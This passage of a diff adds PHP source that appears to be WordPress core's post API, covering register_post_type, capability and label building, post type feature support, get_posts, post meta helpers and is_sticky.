+ *                                             and $show_in_nav_menus are inherited from public, each does not
+ *                                             rely on this relationship and controls a very specific intention.
+ *                                             Default false.
+ *     @type bool        $hierarchical         Whether the post type is hierarchical (e.g. page). Default false.
+ *     @type bool        $exclude_from_search  Whether to exclude posts with this post type from front end search
+ *                                             results. Default is the opposite value of $public.
+ *     @type bool        $publicly_queryable   Whether queries can be performed on the front end for the post type
+ *                                             as part of {@see parse_request()}. Endpoints would include:
+ *                                             * ?post_type={post_type_key}
+ *                                             * ?{post_type_key}={single_post_slug}
+ *                                             * ?{post_type_query_var}={single_post_slug}
+ *                                             If not set, the default is inherited from $public.
+ *     @type bool        $show_ui              Whether to generate a default UI for managing this post type in the
+ *                                             admin. Default is value of $public.
+ *     @type bool        $show_in_menu         Where to show the post type in the admin menu. To work, $show_ui
+ *                                             must be true. If true, the post type is shown in its own top level
+ *                                             menu. If false, no menu is shown. If a string of an existing top
+ *                                             level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post
+ *                                             type will be placed as a sub-menu of that.
+ *                                             Default is value of $show_ui.
+ *     @type bool        $show_in_nav_menus    Makes this post type available for selection in navigation menus.
+ *                                             Default is value $public.
+ *     @type bool        $show_in_admin_bar    Makes this post type available via the admin bar. Default is value
+ *                                             of $show_in_menu.
+ *     @type int         $menu_position        The position in the menu order the post type should appear. To work,
+ *                                             $show_in_menu must be true. Default null (at the bottom).
+ *     @type string      $menu_icon            The url to the icon to be used for this menu. Pass a base64-encoded
+ *                                             SVG using a data URI, which will be colored to match the color scheme
+ *                                             -- this should begin with 'data:image/svg+xml;base64,'. Pass the name
+ *                                             of a Dashicons helper class to use a font icon, e.g.
+ *                                             'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
+ *                                             so an icon can be added via CSS. Defaults to use the posts icon.
+ *     @type string      $capability_type      The string to use to build the read, edit, and delete capabilities.
+ *                                             May be passed as an array to allow for alternative plurals when using
+ *                                             this argument as a base to construct the capabilities, e.g.
+ *                                             array('story', 'stories'). Default 'post'.
+ *     @type array       $capabilities         Array of capabilities for this post type. $capability_type is used
+ *                                             as a base to construct capabilities by default.
+ *                                             {@see get_post_type_capabilities()}.
+ *     @type bool        $map_meta_cap         Whether to use the internal default meta capability handling.
+ *                                             Default false.
+ *     @type array       $supports             An alias for calling {@see add_post_type_support()} directly.
+ *                                             Defaults to array containing 'title' & 'editor'.
+ *     @type callback    $register_meta_box_cb Provide a callback function that sets up the meta boxes for the
+ *                                             edit form. Do remove_meta_box() and add_meta_box() calls in the
+ *                                             callback. Default null.
+ *     @type array       $taxonomies           An array of taxonomy identifiers that will be registered for the
+ *                                             post type. Taxonomies can be registered later with
+ *                                             {@see register_taxonomy()} or {@see register_taxonomy_for_object_type()}.
+ *                                             Default empty array.
+ *     @type bool|string $has_archive          Whether there should be post type archives, or if a string, the
+ *                                             archive slug to use. Will generate the proper rewrite rules if
+ *                                             $rewrite is enabled. Default false.
+ *     @type bool|array  $rewrite              {
+ *         Triggers the handling of rewrites for this post type. To prevent rewrite, set to false.
+ *         Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be
+ *         passed with any of these keys:
+ *
+ *         @type string $slug       Customize the permastruct slug. Defaults to $post_type key.
+ *         @type bool   $with_front Whether the permastruct should be prepended with WP_Rewrite::$front.
+ *                                  Default true.
+ *         @type bool   $feeds      Whether the feed permastruct should be built for this post type.
+ *                                  Default is value of $has_archive.
+ *         @type bool   $pages      Whether the permastruct should provide for pagination. Default true.
+ *         @type const  $ep_mask    Endpoint mask to assign. If not specified and permalink_epmask is set,
+ *                                  inherits from $permalink_epmask. If not specified and permalink_epmask
+ *                                  is not set, defaults to EP_PERMALINK.
+ *     }
+ *     @type string|bool $query_var            Sets the query_var key for this post type. Defaults to $post_type
+ *                                             key. If false, a post type cannot be loaded at
+ *                                             ?{query_var}={post_slug}. If specified as a string, the query
+ *                                             ?{query_var_string}={post_slug} will be valid.
+ *     @type bool        $can_export           Whether to allow this post type to be exported. Default true.
+ *     @type bool        $delete_with_user     Whether to delete posts of this type when deleting a user. If true,
+ *                                             posts of this type belonging to the user will be moved to trash
+ *                                             when then user is deleted. If false, posts of this type belonging
+ *                                             to the user will *not* be trashed or deleted. If not set (the default),
+ *                                             posts are trashed if post_type_supports('author'). Otherwise posts
+ *                                             are not trashed or deleted. Default null.
+ *     @type bool        $_builtin             FOR INTERNAL USE ONLY! True if this post type is a native or
+ *                                             "built-in" post_type. Default false.
+ *     @type string      $_edit_link           FOR INTERNAL USE ONLY! URL segment to use for edit link of
+ *                                             this post type. Default 'post.php?post=%d'.
+ * }
+ * @return object|WP_Error The registered post type object, or an error object.
+ */
+function register_post_type( $post_type, $args = array() ) {
+	global $wp_post_types, $wp_rewrite, $wp;
+
+	if ( ! is_array( $wp_post_types ) )
+		$wp_post_types = array();
+
+	// Args prefixed with an underscore are reserved for internal use.
+	$defaults = array(
+		'labels'               => array(),
+		'description'          => '',
+		'public'               => false,
+		'hierarchical'         => false,
+		'exclude_from_search'  => null,
+		'publicly_queryable'   => null,
+		'show_ui'              => null,
+		'show_in_menu'         => null,
+		'show_in_nav_menus'    => null,
+		'show_in_admin_bar'    => null,
+		'menu_position'        => null,
+		'menu_icon'            => null,
+		'capability_type'      => 'post',
+		'capabilities'         => array(),
+		'map_meta_cap'         => null,
+		'supports'             => array(),
+		'register_meta_box_cb' => null,
+		'taxonomies'           => array(),
+		'has_archive'          => false,
+		'rewrite'              => true,
+		'query_var'            => true,
+		'can_export'           => true,
+		'delete_with_user'     => null,
+		'_builtin'             => false,
+		'_edit_link'           => 'post.php?post=%d',
+	);
+	$args = wp_parse_args( $args, $defaults );
+	$args = (object) $args;
+
+	$post_type = sanitize_key( $post_type );
+	$args->name = $post_type;
+
+	if ( strlen( $post_type ) > 20 ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Post types cannot exceed 20 characters in length' ), '4.0' );
+		return new WP_Error( 'post_type_too_long', __( 'Post types cannot exceed 20 characters in length' ) );
+	}
+
+	// If not set, default to the setting for public.
+	if ( null === $args->publicly_queryable )
+		$args->publicly_queryable = $args->public;
+
+	// If not set, default to the setting for public.
+	if ( null === $args->show_ui )
+		$args->show_ui = $args->public;
+
+	// If not set, default to the setting for show_ui.
+	if ( null === $args->show_in_menu || ! $args->show_ui )
+		$args->show_in_menu = $args->show_ui;
+
+	// If not set, default to the whether the full UI is shown.
+	if ( null === $args->show_in_admin_bar )
+		$args->show_in_admin_bar = (bool) $args->show_in_menu;
+
+	// If not set, default to the setting for public.
+	if ( null === $args->show_in_nav_menus )
+		$args->show_in_nav_menus = $args->public;
+
+	// If not set, default to true if not public, false if public.
+	if ( null === $args->exclude_from_search )
+		$args->exclude_from_search = !$args->public;
+
+	// Back compat with quirky handling in version 3.0. #14122.
+	if ( empty( $args->capabilities ) && null === $args->map_meta_cap && in_array( $args->capability_type, array( 'post', 'page' ) ) )
+		$args->map_meta_cap = true;
+
+	// If not set, default to false.
+	if ( null === $args->map_meta_cap )
+		$args->map_meta_cap = false;
+
+	$args->cap = get_post_type_capabilities( $args );
+	unset( $args->capabilities );
+
+	if ( is_array( $args->capability_type ) )
+		$args->capability_type = $args->capability_type[0];
+
+	if ( ! empty( $args->supports ) ) {
+		add_post_type_support( $post_type, $args->supports );
+		unset( $args->supports );
+	} elseif ( false !== $args->supports ) {
+		// Add default features
+		add_post_type_support( $post_type, array( 'title', 'editor' ) );
+	}
+
+	if ( false !== $args->query_var && ! empty( $wp ) ) {
+		if ( true === $args->query_var )
+			$args->query_var = $post_type;
+		else
+			$args->query_var = sanitize_title_with_dashes( $args->query_var );
+		$wp->add_query_var( $args->query_var );
+	}
+
+	if ( false !== $args->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+		if ( ! is_array( $args->rewrite ) )
+			$args->rewrite = array();
+		if ( empty( $args->rewrite['slug'] ) )
+			$args->rewrite['slug'] = $post_type;
+		if ( ! isset( $args->rewrite['with_front'] ) )
+			$args->rewrite['with_front'] = true;
+		if ( ! isset( $args->rewrite['pages'] ) )
+			$args->rewrite['pages'] = true;
+		if ( ! isset( $args->rewrite['feeds'] ) || ! $args->has_archive )
+			$args->rewrite['feeds'] = (bool) $args->has_archive;
+		if ( ! isset( $args->rewrite['ep_mask'] ) ) {
+			if ( isset( $args->permalink_epmask ) )
+				$args->rewrite['ep_mask'] = $args->permalink_epmask;
+			else
+				$args->rewrite['ep_mask'] = EP_PERMALINK;
+		}
+
+		if ( $args->hierarchical )
+			add_rewrite_tag( "%$post_type%", '(.+?)', $args->query_var ? "{$args->query_var}=" : "post_type=$post_type&pagename=" );
+		else
+			add_rewrite_tag( "%$post_type%", '([^/]+)', $args->query_var ? "{$args->query_var}=" : "post_type=$post_type&name=" );
+
+		if ( $args->has_archive ) {
+			$archive_slug = $args->has_archive === true ? $args->rewrite['slug'] : $args->has_archive;
+			if ( $args->rewrite['with_front'] )
+				$archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug;
+			else
+				$archive_slug = $wp_rewrite->root . $archive_slug;
+
+			add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$post_type", 'top' );
+			if ( $args->rewrite['feeds'] && $wp_rewrite->feeds ) {
+				$feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')';
+				add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$post_type" . '&feed=$matches[1]', 'top' );
+				add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$post_type" . '&feed=$matches[1]', 'top' );
+			}
+			if ( $args->rewrite['pages'] )
+				add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$post_type" . '&paged=$matches[1]', 'top' );
+		}
+
+		$permastruct_args = $args->rewrite;
+		$permastruct_args['feed'] = $permastruct_args['feeds'];
+		add_permastruct( $post_type, "{$args->rewrite['slug']}/%$post_type%", $permastruct_args );
+	}
+
+	// Register the post type meta box if a custom callback was specified.
+	if ( $args->register_meta_box_cb )
+		add_action( 'add_meta_boxes_' . $post_type, $args->register_meta_box_cb, 10, 1 );
+
+	$args->labels = get_post_type_labels( $args );
+	$args->label = $args->labels->name;
+
+	$wp_post_types[ $post_type ] = $args;
+
+	add_action( 'future_' . $post_type, '_future_post_hook', 5, 2 );
+
+	foreach ( $args->taxonomies as $taxonomy ) {
+		register_taxonomy_for_object_type( $taxonomy, $post_type );
+	}
+
+	/**
+	 * Fires after a post type is registered.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $post_type Post type.
+	 * @param object $args      Arguments used to register the post type.
+	 */
+	do_action( 'registered_post_type', $post_type, $args );
+
+	return $args;
+}
+
+/**
+ * Build an object with all post type capabilities out of a post type object
+ *
+ * Post type capabilities use the 'capability_type' argument as a base, if the
+ * capability is not set in the 'capabilities' argument array or if the
+ * 'capabilities' argument is not supplied.
+ *
+ * The capability_type argument can optionally be registered as an array, with
+ * the first value being singular and the second plural, e.g. array('story, 'stories')
+ * Otherwise, an 's' will be added to the value for the plural form. After
+ * registration, capability_type will always be a string of the singular value.
+ *
+ * By default, seven keys are accepted as part of the capabilities array:
+ *
+ * - edit_post, read_post, and delete_post are meta capabilities, which are then
+ *   generally mapped to corresponding primitive capabilities depending on the
+ *   context, which would be the post being edited/read/deleted and the user or
+ *   role being checked. Thus these capabilities would generally not be granted
+ *   directly to users or roles.
+ *
+ * - edit_posts - Controls whether objects of this post type can be edited.
+ * - edit_others_posts - Controls whether objects of this type owned by other users
+ *   can be edited. If the post type does not support an author, then this will
+ *   behave like edit_posts.
+ * - publish_posts - Controls publishing objects of this post type.
+ * - read_private_posts - Controls whether private objects can be read.
+ *
+ * These four primitive capabilities are checked in core in various locations.
+ * There are also seven other primitive capabilities which are not referenced
+ * directly in core, except in map_meta_cap(), which takes the three aforementioned
+ * meta capabilities and translates them into one or more primitive capabilities
+ * that must then be checked against the user or role, depending on the context.
+ *
+ * - read - Controls whether objects of this post type can be read.
+ * - delete_posts - Controls whether objects of this post type can be deleted.
+ * - delete_private_posts - Controls whether private objects can be deleted.
+ * - delete_published_posts - Controls whether published objects can be deleted.
+ * - delete_others_posts - Controls whether objects owned by other users can be
+ *   can be deleted. If the post type does not support an author, then this will
+ *   behave like delete_posts.
+ * - edit_private_posts - Controls whether private objects can be edited.
+ * - edit_published_posts - Controls whether published objects can be edited.
+ *
+ * These additional capabilities are only used in map_meta_cap(). Thus, they are
+ * only assigned by default if the post type is registered with the 'map_meta_cap'
+ * argument set to true (default is false).
+ *
+ * @since 3.0.0
+ *
+ * @see register_post_type()
+ * @see map_meta_cap()
+ *
+ * @param object $args Post type registration arguments.
+ * @return object object with all the capabilities as member variables.
+ */
+function get_post_type_capabilities( $args ) {
+	if ( ! is_array( $args->capability_type ) )
+		$args->capability_type = array( $args->capability_type, $args->capability_type . 's' );
+
+	// Singular base for meta capabilities, plural base for primitive capabilities.
+	list( $singular_base, $plural_base ) = $args->capability_type;
+
+	$default_capabilities = array(
+		// Meta capabilities
+		'edit_post'          => 'edit_'         . $singular_base,
+		'read_post'          => 'read_'         . $singular_base,
+		'delete_post'        => 'delete_'       . $singular_base,
+		// Primitive capabilities used outside of map_meta_cap():
+		'edit_posts'         => 'edit_'         . $plural_base,
+		'edit_others_posts'  => 'edit_others_'  . $plural_base,
+		'publish_posts'      => 'publish_'      . $plural_base,
+		'read_private_posts' => 'read_private_' . $plural_base,
+	);
+
+	// Primitive capabilities used within map_meta_cap():
+	if ( $args->map_meta_cap ) {
+		$default_capabilities_for_mapping = array(
+			'read'                   => 'read',
+			'delete_posts'           => 'delete_'           . $plural_base,
+			'delete_private_posts'   => 'delete_private_'   . $plural_base,
+			'delete_published_posts' => 'delete_published_' . $plural_base,
+			'delete_others_posts'    => 'delete_others_'    . $plural_base,
+			'edit_private_posts'     => 'edit_private_'     . $plural_base,
+			'edit_published_posts'   => 'edit_published_'   . $plural_base,
+		);
+		$default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping );
+	}
+
+	$capabilities = array_merge( $default_capabilities, $args->capabilities );
+
+	// Post creation capability simply maps to edit_posts by default:
+	if ( ! isset( $capabilities['create_posts'] ) )
+		$capabilities['create_posts'] = $capabilities['edit_posts'];
+
+	// Remember meta capabilities for future reference.
+	if ( $args->map_meta_cap )
+		_post_type_meta_capabilities( $capabilities );
+
+	return (object) $capabilities;
+}
+
+/**
+ * Store or return a list of post type meta caps for map_meta_cap().
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param null|array $capabilities Post type meta capabilities.
+ */
+function _post_type_meta_capabilities( $capabilities = null ) {
+	static $meta_caps = array();
+	if ( null === $capabilities )
+		return $meta_caps;
+	foreach ( $capabilities as $core => $custom ) {
+		if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ) ) )
+			$meta_caps[ $custom ] = $core;
+	}
+}
+
+/**
+ * Build an object with all post type labels out of a post type object
+ *
+ * Accepted keys of the label array in the post type object:
+ *
+ * - name - general name for the post type, usually plural. The same and overridden
+ *          by $post_type_object->label. Default is Posts/Pages
+ * - singular_name - name for one object of this post type. Default is Post/Page
+ * - add_new - Default is Add New for both hierarchical and non-hierarchical types.
+ *             When internationalizing this string, please use a gettext context
+ *             {@link http://codex.wordpress.org/I18n_for_WordPress_Developers#Disambiguation_by_context}
+ *             matching your post type. Example: `_x( 'Add New', 'product' );`.
+ * - add_new_item - Default is Add New Post/Add New Page.
+ * - edit_item - Default is Edit Post/Edit Page.
+ * - new_item - Default is New Post/New Page.
+ * - view_item - Default is View Post/View Page.
+ * - search_items - Default is Search Posts/Search Pages.
+ * - not_found - Default is No posts found/No pages found.
+ * - not_found_in_trash - Default is No posts found in Trash/No pages found in Trash.
+ * - parent_item_colon - This string isn't used on non-hierarchical types. In hierarchical
+ *                       ones the default is 'Parent Page:'.
+ * - all_items - String for the submenu. Default is All Posts/All Pages.
+ * - menu_name - Default is the same as `name`.
+ *
+ * Above, the first default value is for non-hierarchical post types (like posts)
+ * and the second one is for hierarchical post types (like pages).
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param object $post_type_object Post type object.
+ * @return object object with all the labels as member variables.
+ */
+function get_post_type_labels( $post_type_object ) {
+	$nohier_vs_hier_defaults = array(
+		'name' => array( _x('Posts', 'post type general name'), _x('Pages', 'post type general name') ),
+		'singular_name' => array( _x('Post', 'post type singular name'), _x('Page', 'post type singular name') ),
+		'add_new' => array( _x('Add New', 'post'), _x('Add New', 'page') ),
+		'add_new_item' => array( __('Add New Post'), __('Add New Page') ),
+		'edit_item' => array( __('Edit Post'), __('Edit Page') ),
+		'new_item' => array( __('New Post'), __('New Page') ),
+		'view_item' => array( __('View Post'), __('View Page') ),
+		'search_items' => array( __('Search Posts'), __('Search Pages') ),
+		'not_found' => array( __('No posts found.'), __('No pages found.') ),
+		'not_found_in_trash' => array( __('No posts found in Trash.'), __('No pages found in Trash.') ),
+		'parent_item_colon' => array( null, __('Parent Page:') ),
+		'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) )
+	);
+	$nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
+
+	$labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults );
+
+	$post_type = $post_type_object->name;
+
+	/**
+	 * Filter the labels of a specific post type.
+	 *
+	 * The dynamic portion of the hook name, `$post_type`, refers to
+	 * the post type slug.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @see get_post_type_labels() for the full list of labels.
+	 *
+	 * @param array $labels Array of labels for the given post type.
+	 */
+	return apply_filters( "post_type_labels_{$post_type}", $labels );
+}
+
+/**
+ * Build an object with custom-something object (post type, taxonomy) labels
+ * out of a custom-something object
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param object $object                  A custom-something object.
+ * @param array  $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels.
+ */
+function _get_custom_object_labels( $object, $nohier_vs_hier_defaults ) {
+	$object->labels = (array) $object->labels;
+
+	if ( isset( $object->label ) && empty( $object->labels['name'] ) )
+		$object->labels['name'] = $object->label;
+
+	if ( !isset( $object->labels['singular_name'] ) && isset( $object->labels['name'] ) )
+		$object->labels['singular_name'] = $object->labels['name'];
+
+	if ( ! isset( $object->labels['name_admin_bar'] ) )
+		$object->labels['name_admin_bar'] = isset( $object->labels['singular_name'] ) ? $object->labels['singular_name'] : $object->name;
+
+	if ( !isset( $object->labels['menu_name'] ) && isset( $object->labels['name'] ) )
+		$object->labels['menu_name'] = $object->labels['name'];
+
+	if ( !isset( $object->labels['all_items'] ) && isset( $object->labels['menu_name'] ) )
+		$object->labels['all_items'] = $object->labels['menu_name'];
+
+	foreach ( $nohier_vs_hier_defaults as $key => $value )
+			$defaults[$key] = $object->hierarchical ? $value[1] : $value[0];
+
+	$labels = array_merge( $defaults, $object->labels );
+	return (object)$labels;
+}
+
+/**
+ * Add submenus for post types.
+ *
+ * @access private
+ * @since 3.1.0
+ */
+function _add_post_type_submenus() {
+	foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) {
+		$ptype_obj = get_post_type_object( $ptype );
+		// Sub-menus only.
+		if ( ! $ptype_obj->show_in_menu || $ptype_obj->show_in_menu === true )
+			continue;
+		add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" );
+	}
+}
+add_action( 'admin_menu', '_add_post_type_submenus' );
+
+/**
+ * Register support of certain features for a post type.
+ *
+ * All core features are directly associated with a functional area of the edit
+ * screen, such as the editor or a meta box. Features include: 'title', 'editor',
+ * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes',
+ * 'thumbnail', 'custom-fields', and 'post-formats'.
+ *
+ * Additionally, the 'revisions' feature dictates whether the post type will
+ * store revisions, and the 'comments' feature dictates whether the comments
+ * count will show on the edit screen.
+ *
+ * @since 3.0.0
+ *
+ * @param string       $post_type The post type for which to add the feature.
+ * @param string|array $feature   The feature being added, accepts an array of
+ *                                feature strings or a single string.
+ */
+function add_post_type_support( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	$features = (array) $feature;
+	foreach ($features as $feature) {
+		if ( func_num_args() == 2 )
+			$_wp_post_type_features[$post_type][$feature] = true;
+		else
+			$_wp_post_type_features[$post_type][$feature] = array_slice( func_get_args(), 2 );
+	}
+}
+
+/**
+ * Remove support for a feature from a post type.
+ *
+ * @since 3.0.0
+ *
+ * @param string $post_type The post type for which to remove the feature.
+ * @param string $feature   The feature being removed.
+ */
+function remove_post_type_support( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	if ( isset( $_wp_post_type_features[$post_type][$feature] ) )
+		unset( $_wp_post_type_features[$post_type][$feature] );
+}
+
+/**
+ * Get all the post type features
+ *
+ * @since 3.4.0
+ *
+ * @param string $post_type The post type.
+ * @return array Post type supports list.
+ */
+function get_all_post_type_supports( $post_type ) {
+	global $_wp_post_type_features;
+
+	if ( isset( $_wp_post_type_features[$post_type] ) )
+		return $_wp_post_type_features[$post_type];
+
+	return array();
+}
+
+/**
+ * Check a post type's support for a given feature.
+ *
+ * @since 3.0.0
+ *
+ * @param string $post_type The post type being checked.
+ * @param string $feature the feature being checked.
+ * @return bool Whether the post type supports the given feature.
+ */
+function post_type_supports( $post_type, $feature ) {
+	global $_wp_post_type_features;
+
+	return ( isset( $_wp_post_type_features[$post_type][$feature] ) );
+}
+
+/**
+ * Update the post type for the post ID.
+ *
+ * The page or post cache will be cleaned for the post ID.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $post_id   Optional. Post ID to change post type. Default 0.
+ * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to
+ *                          name a few. Default 'post'.
+ * @return int Amount of rows changed. Should be 1 for success and 0 for failure.
+ */
+function set_post_type( $post_id = 0, $post_type = 'post' ) {
+	global $wpdb;
+
+	$post_type = sanitize_post_field('post_type', $post_type, $post_id, 'db');
+	$return = $wpdb->update( $wpdb->posts, array('post_type' => $post_type), array('ID' => $post_id) );
+
+	clean_post_cache( $post_id );
+
+	return $return;
+}
+
+/**
+ * Retrieve list of latest posts or posts matching criteria.
+ *
+ * The defaults are as follows:
+ *
+ * @since 1.2.0
+ *
+ * @see WP_Query::parse_query()
+ *
+ * @param array $args {
+ *     Optional. Arguments to retrieve posts. {@see WP_Query::parse_query()} for more
+ *     available arguments.
+ *
+ *     @type int        $numberposts      Total number of posts to retrieve. Is an alias of $posts_per_page
+ *                                        in WP_Query. Accepts 1+ and -1 for all. Default 5.
+ *     @type int        $offset           The number of posts to offset before retrieval. Default 0.
+ *     @type int|string $category         Category ID or comma-separated list of IDs (this or any children).
+ *                                        Is an alias of $cat in WP_Query. Default 0.
+ *     @type string     $orderby          Which field to order posts by. Accepts post fields. Default 'date'.
+ *     @type array      $include          An array of post IDs to retrieve, sticky posts will be included.
+ *                                        Is an alias of $post__in in WP_Query. Default empty array.
+ *     @type array      $exclude          An array of post IDs not to retrieve. Default empty array.
+ *     @type string     $meta_key         Custom field key. Default empty.
+ *     @type mixed      $meta_value       Custom field value. Default empty string.
+ *     @type string     $post_type        Post type. Default 'post'.
+ *     @type bool       $suppress_filters Whether to suppress filters. Default true.
+ * }
+ * @return array List of posts.
+ */
+function get_posts( $args = null ) {
+	$defaults = array(
+		'numberposts' => 5, 'offset' => 0,
+		'category' => 0, 'orderby' => 'date',
+		'order' => 'DESC', 'include' => array(),
+		'exclude' => array(), 'meta_key' => '',
+		'meta_value' =>'', 'post_type' => 'post',
+		'suppress_filters' => true
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	if ( empty( $r['post_status'] ) )
+		$r['post_status'] = ( 'attachment' == $r['post_type'] ) ? 'inherit' : 'publish';
+	if ( ! empty($r['numberposts']) && empty($r['posts_per_page']) )
+		$r['posts_per_page'] = $r['numberposts'];
+	if ( ! empty($r['category']) )
+		$r['cat'] = $r['category'];
+	if ( ! empty($r['include']) ) {
+		$incposts = wp_parse_id_list( $r['include'] );
+		$r['posts_per_page'] = count($incposts);  // only the number of posts included
+		$r['post__in'] = $incposts;
+	} elseif ( ! empty($r['exclude']) )
+		$r['post__not_in'] = wp_parse_id_list( $r['exclude'] );
+
+	$r['ignore_sticky_posts'] = true;
+	$r['no_found_rows'] = true;
+
+	$get_posts = new WP_Query;
+	return $get_posts->query($r);
+
+}
+
+//
+// Post meta functions
+//
+
+/**
+ * Add meta data field to a post.
+ *
+ * Post meta data is called "Custom Fields" on the Administration Screen.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param bool   $unique     Optional. Whether the same key should not be added.
+ *                           Default false.
+ * @return int|bool Meta ID on success, false on failure.
+ */
+function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) {
+	// Make sure meta is added to the post, not a revision.
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	return add_metadata('post', $post_id, $meta_key, $meta_value, $unique);
+}
+
+/**
+ * Remove metadata matching criteria from a post.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata name.
+ * @param mixed  $meta_value Optional. Metadata value. Must be serializable if
+ *                           non-scalar. Default empty.
+ * @return bool True on success, false on failure.
+ */
+function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) {
+	// Make sure meta is added to the post, not a revision.
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	return delete_metadata('post', $post_id, $meta_key, $meta_value);
+}
+
+/**
+ * Retrieve post meta field for a post.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id Post ID.
+ * @param string $key     Optional. The meta key to retrieve. By default, returns
+ *                        data for all keys. Default empty.
+ * @param bool   $single  Optional. Whether to return a single value. Default false.
+ * @return mixed Will be an array if $single is false. Will be value of meta data
+ *               field if $single is true.
+ */
+function get_post_meta( $post_id, $key = '', $single = false ) {
+	return get_metadata('post', $post_id, $key, $single);
+}
+
+/**
+ * Update post meta field based on post ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and post ID.
+ *
+ * If the meta field for the post does not exist, it will be added.
+ *
+ * @since 1.5.0
+ *
+ * @param int    $post_id    Post ID.
+ * @param string $meta_key   Metadata key.
+ * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
+ * @param mixed  $prev_value Optional. Previous value to check before removing.
+ *                           Default empty.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update,
+ *                  false on failure.
+ */
+function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) {
+	// Make sure meta is added to the post, not a revision.
+	if ( $the_post = wp_is_post_revision($post_id) )
+		$post_id = $the_post;
+
+	return update_metadata('post', $post_id, $meta_key, $meta_value, $prev_value);
+}
+
+/**
+ * Delete everything from post meta matching meta key.
+ *
+ * @since 2.3.0
+ *
+ * @param string $post_meta_key Key to search for when deleting.
+ * @return bool Whether the post meta key was deleted from the database.
+ */
+function delete_post_meta_by_key( $post_meta_key ) {
+	return delete_metadata( 'post', null, $post_meta_key, '', true );
+}
+
+/**
+ * Retrieve post meta fields, based on post ID.
+ *
+ * The post meta fields are retrieved from the cache where possible,
+ * so the function is optimized to be called more than once.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array Post meta for the given post.
+ */
+function get_post_custom( $post_id = 0 ) {
+	$post_id = absint( $post_id );
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	return get_post_meta( $post_id );
+}
+
+/**
+ * Retrieve meta field names for a post.
+ *
+ * If there are no meta fields, then nothing (null) will be returned.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array|null Either array of the keys, or null if keys could not be
+ *                    retrieved.
+ */
+function get_post_custom_keys( $post_id = 0 ) {
+	$custom = get_post_custom( $post_id );
+
+	if ( !is_array($custom) )
+		return;
+
+	if ( $keys = array_keys($custom) )
+		return $keys;
+}
+
+/**
+ * Retrieve values for a custom post field.
+ *
+ * The parameters must not be considered optional. All of the post meta fields
+ * will be retrieved and only the meta field key values returned.
+ *
+ * @since 1.2.0
+ *
+ * @param string $key     Optional. Meta field key. Default empty.
+ * @param int    $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return array Meta field values.
+ */
+function get_post_custom_values( $key = '', $post_id = 0 ) {
+	if ( !$key )
+		return null;
+
+	$custom = get_post_custom($post_id);
+
+	return isset($custom[$key]) ? $custom[$key] : null;
+}
+
+/**
+ * Check if post is sticky.
+ *
+ * Sticky posts should remain at the top of The Loop. If the post ID is not
+ * given, then The Loop ID for the current post will be used.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id Optional. Post ID. Default is ID of the global $post.
+ * @return bool Whether post is sticky.
+ */
+function is_sticky( $post_id = 0 ) {
+	$post_id = absint( $post_id );
+
+	if ( ! $post_id )
+		$post_id = get_the_ID();
+
+	$stickies = get_option( 'sticky_posts' );
+
+	if ( ! is_array( $stickies ) )
+		return false;
+
+	if ( in_array( $post_id, $stickies ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Sanitize every post field.
+ *
+ * If the context is 'raw', then the post object or array will get minimal
+ * sanitization of the integer fields.
+ *
+ * @since 2.3.0
+ *
+ * @see sanitize_post_field()
+ *
